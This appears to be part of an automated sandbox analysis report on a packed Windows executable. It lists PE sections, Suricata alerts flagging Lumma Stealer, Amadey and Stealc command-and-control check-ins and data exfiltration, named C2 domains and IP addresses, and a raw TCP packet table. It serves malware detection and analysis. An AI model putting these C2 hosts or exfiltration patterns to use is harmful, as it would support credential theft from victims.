IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	5b291ae066fa13e78cdbbaa353ddbcc0	False	0.9979244220219435	data	7.970847626312372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hzcsxlrx	0x5b000	0x2ae000	0x2ad400	aa197f029e494a55fc0f482384171f6d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hrhicodq	0x309000	0x1000	0x400	a35e46eae17ab88af059075d64abbbad	False	0.6962890625	data	5.54223896059978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30a000	0x3000	0x2200	5e93b5bc1524e377b9293400041270fe	False	0.058823529411764705	DOS executable (COM)	0.5725204129784891	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T11:45:11.743501+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	52927	1.1.1.1	53	UDP
2024-10-30T11:45:11.759270+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	50738	1.1.1.1	53	UDP
2024-10-30T11:45:11.776737+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	55134	1.1.1.1	53	UDP
2024-10-30T11:45:11.787890+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	55563	1.1.1.1	53	UDP
2024-10-30T11:45:11.799030+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	61796	1.1.1.1	53	UDP
2024-10-30T11:45:12.453785+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49701	188.114.96.3	443	TCP
2024-10-30T11:45:13.197225+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	188.114.96.3	443	TCP
2024-10-30T11:45:13.197225+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	188.114.96.3	443	TCP
2024-10-30T11:45:13.926131+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-10-30T11:45:14.391253+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-10-30T11:45:14.391253+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-10-30T11:45:15.438174+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49704	188.114.96.3	443	TCP
2024-10-30T11:45:16.795481+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49705	188.114.96.3	443	TCP
2024-10-30T11:45:18.097951+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49711	188.114.96.3	443	TCP
2024-10-30T11:45:19.697149+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-30T11:45:20.718555+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-30T11:45:21.816147+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49732	188.114.96.3	443	TCP
2024-10-30T11:45:25.061629+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49749	188.114.96.3	443	TCP
2024-10-30T11:45:25.537802+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49749	188.114.96.3	443	TCP
2024-10-30T11:45:26.956607+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49758	185.215.113.16	80	TCP
2024-10-30T11:46:33.025975+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	58188	185.215.113.43	80	TCP
2024-10-30T11:46:36.456582+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	58190	185.215.113.16	80	TCP
2024-10-30T11:46:45.037523+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	58189	TCP
2024-10-30T11:46:45.833137+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	50788	1.1.1.1	53	UDP
2024-10-30T11:46:45.846710+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	57934	1.1.1.1	53	UDP
2024-10-30T11:46:45.857668+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	54819	1.1.1.1	53	UDP
2024-10-30T11:46:45.868770+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	52718	1.1.1.1	53	UDP
2024-10-30T11:46:45.945402+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	58191	185.215.113.43	80	TCP
2024-10-30T11:46:46.514105+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58192	188.114.96.3	443	TCP
2024-10-30T11:46:46.857759+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	58193	185.215.113.16	80	TCP
2024-10-30T11:46:47.010918+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	58192	188.114.96.3	443	TCP
2024-10-30T11:46:47.010918+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58192	188.114.96.3	443	TCP
2024-10-30T11:46:47.685319+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58194	188.114.96.3	443	TCP
2024-10-30T11:46:48.151059+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	58194	188.114.96.3	443	TCP
2024-10-30T11:46:48.151059+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58194	188.114.96.3	443	TCP
2024-10-30T11:46:49.603038+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58195	188.114.96.3	443	TCP
2024-10-30T11:46:50.140598+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	58195	188.114.96.3	443	TCP
2024-10-30T11:46:50.915432+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58196	188.114.96.3	443	TCP
2024-10-30T11:46:52.549042+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58197	188.114.96.3	443	TCP
2024-10-30T11:46:55.230244+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58199	188.114.96.3	443	TCP
2024-10-30T11:46:55.487167+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	58198	185.215.113.43	80	TCP
2024-10-30T11:46:56.423512+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	58200	185.215.113.16	80	TCP
2024-10-30T11:46:56.853842+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58202	188.114.96.3	443	TCP
2024-10-30T11:46:56.856933+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	58201	185.215.113.206	80	TCP
2024-10-30T11:46:59.596471+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58203	188.114.96.3	443	TCP
2024-10-30T11:47:00.104324+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58203	188.114.96.3	443	TCP
2024-10-30T11:47:00.359510+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	57935	1.1.1.1	53	UDP
2024-10-30T11:47:00.476895+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	62527	1.1.1.1	53	UDP
2024-10-30T11:47:00.501483+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	58030	1.1.1.1	53	UDP
2024-10-30T11:47:00.512300+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	61818	1.1.1.1	53	UDP
2024-10-30T11:47:01.143766+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58206	188.114.96.3	443	TCP
2024-10-30T11:47:01.308782+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	58204	185.215.113.16	80	TCP
2024-10-30T11:47:01.378149+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	58205	185.215.113.43	80	TCP
2024-10-30T11:47:01.882902+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	58206	188.114.96.3	443	TCP
2024-10-30T11:47:01.882902+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58206	188.114.96.3	443	TCP
2024-10-30T11:47:02.328510+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	58207	185.215.113.16	80	TCP
2024-10-30T11:47:02.328510+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	58207	185.215.113.16	80	TCP
2024-10-30T11:47:02.565529+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58208	188.114.96.3	443	TCP
2024-10-30T11:47:03.041222+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	58208	188.114.96.3	443	TCP
2024-10-30T11:47:03.041222+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58208	188.114.96.3	443	TCP
2024-10-30T11:47:04.243959+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58215	188.114.96.3	443	TCP
2024-10-30T11:47:05.503020+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	58216	185.215.113.206	80	TCP
2024-10-30T11:47:05.905363+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58217	188.114.96.3	443	TCP
2024-10-30T11:47:06.869633+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	58218	185.215.113.43	80	TCP
2024-10-30T11:47:07.801582+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	58221	31.41.244.11	80	TCP
2024-10-30T11:47:07.968372+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	31.41.244.11	80	192.168.2.7	58221	TCP
2024-10-30T11:47:09.788173+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58223	188.114.96.3	443	TCP
2024-10-30T11:47:12.089262+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	58232	185.215.113.43	80	TCP
2024-10-30T11:47:14.270308+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58239	188.114.96.3	443	TCP
2024-10-30T11:47:38.117589+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	58170	1.1.1.1	53	UDP
2024-10-30T11:47:38.487190+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	62313	1.1.1.1	53	UDP
2024-10-30T11:47:38.748765+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	50281	1.1.1.1	53	UDP
2024-10-30T11:47:38.990376+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	49291	1.1.1.1	53	UDP
2024-10-30T11:47:40.113391+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58247	188.114.96.3	443	TCP
2024-10-30T11:47:40.639863+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	58247	188.114.96.3	443	TCP
2024-10-30T11:47:40.639863+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58247	188.114.96.3	443	TCP
2024-10-30T11:47:49.320744+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58248	188.114.96.3	443	TCP
2024-10-30T11:47:49.885897+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	58248	188.114.96.3	443	TCP
2024-10-30T11:47:49.885897+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58248	188.114.96.3	443	TCP
2024-10-30T11:47:51.090506+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58249	188.114.96.3	443	TCP
2024-10-30T11:47:52.920565+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58250	188.114.96.3	443	TCP
2024-10-30T11:47:54.212612+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58251	188.114.96.3	443	TCP
2024-10-30T11:47:55.541901+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58252	188.114.96.3	443	TCP
2024-10-30T11:47:56.268215+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	58252	188.114.96.3	443	TCP
2024-10-30T11:47:57.150545+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58253	188.114.96.3	443	TCP
2024-10-30T11:47:57.153375+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	58253	188.114.96.3	443	TCP
2024-10-30T11:47:58.580753+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	58254	188.114.96.3	443	TCP
2024-10-30T11:47:59.067930+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58254	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 11:45:11.836910009 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:11.836976051 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:11.837049961 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:11.840337992 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:11.840356112 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:12.453711033 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:12.453784943 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:12.457637072 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:12.457645893 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:12.458045959 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:12.501538038 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:12.509330988 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:12.509381056 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:12.509469032 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.197253942 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.197386980 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.197452068 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.201191902 CET	49701	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.201212883 CET	443	49701	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.319722891 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.319782019 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.319946051 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.320334911 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.320354939 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.926060915 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.926131010 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.933660984 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.933681011 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.933927059 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:13.935245037 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.935266018 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:13.935328007 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391217947 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391254902 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391288042 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391298056 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.391336918 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391375065 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.391383886 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391419888 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391455889 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.391457081 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391469955 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.391505003 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.391844988 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.439096928 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.439109087 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.485919952 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508150101 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508239985 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508285999 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508299112 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508341074 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508367062 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508388042 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508408070 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508445978 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508452892 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508490086 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508529902 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508702040 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508723021 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.508738041 CET	49702	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.508747101 CET	443	49702	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.787147999 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.787183046 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:14.787252903 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.787540913 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:14.787559986 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:15.437988043 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:15.438174009 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:15.439995050 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:15.440005064 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:15.440300941 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:15.450382948 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:15.450531960 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:15.450577021 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.003860950 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.003974915 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.004127026 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.004322052 CET	49704	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.004343033 CET	443	49704	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.186774015 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.186786890 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.186856985 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.187146902 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.187160015 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.795387983 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.795480967 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.905302048 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.905340910 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.905647993 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.907020092 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.907169104 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.907201052 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:16.907269001 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:16.907275915 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:17.272294044 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:17.272377014 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:17.272435904 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:17.272628069 CET	49705	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:17.272644997 CET	443	49705	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:17.478375912 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:17.478416920 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:17.478507042 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:17.478831053 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:17.478844881 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.097867012 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.097950935 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.099419117 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.099428892 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.099670887 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.100833893 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.100992918 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.101017952 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.101089954 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.101100922 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.780330896 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.780430079 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:18.780540943 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.780679941 CET	49711	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:18.780693054 CET	443	49711	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:19.088879108 CET	49721	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:19.088920116 CET	443	49721	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:19.088977098 CET	49721	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:19.089535952 CET	49721	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:19.089545012 CET	443	49721	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:19.697047949 CET	443	49721	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:19.697149038 CET	49721	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:19.847178936 CET	49721	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:45:19.847207069 CET	443	49721	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:19.847508907 CET	443	49721	188.114.96.3	192.168.2.7
Oct 30, 2024 11:45:19.856693983 CET	49721	443	192.168.2.7	188.114.96.3
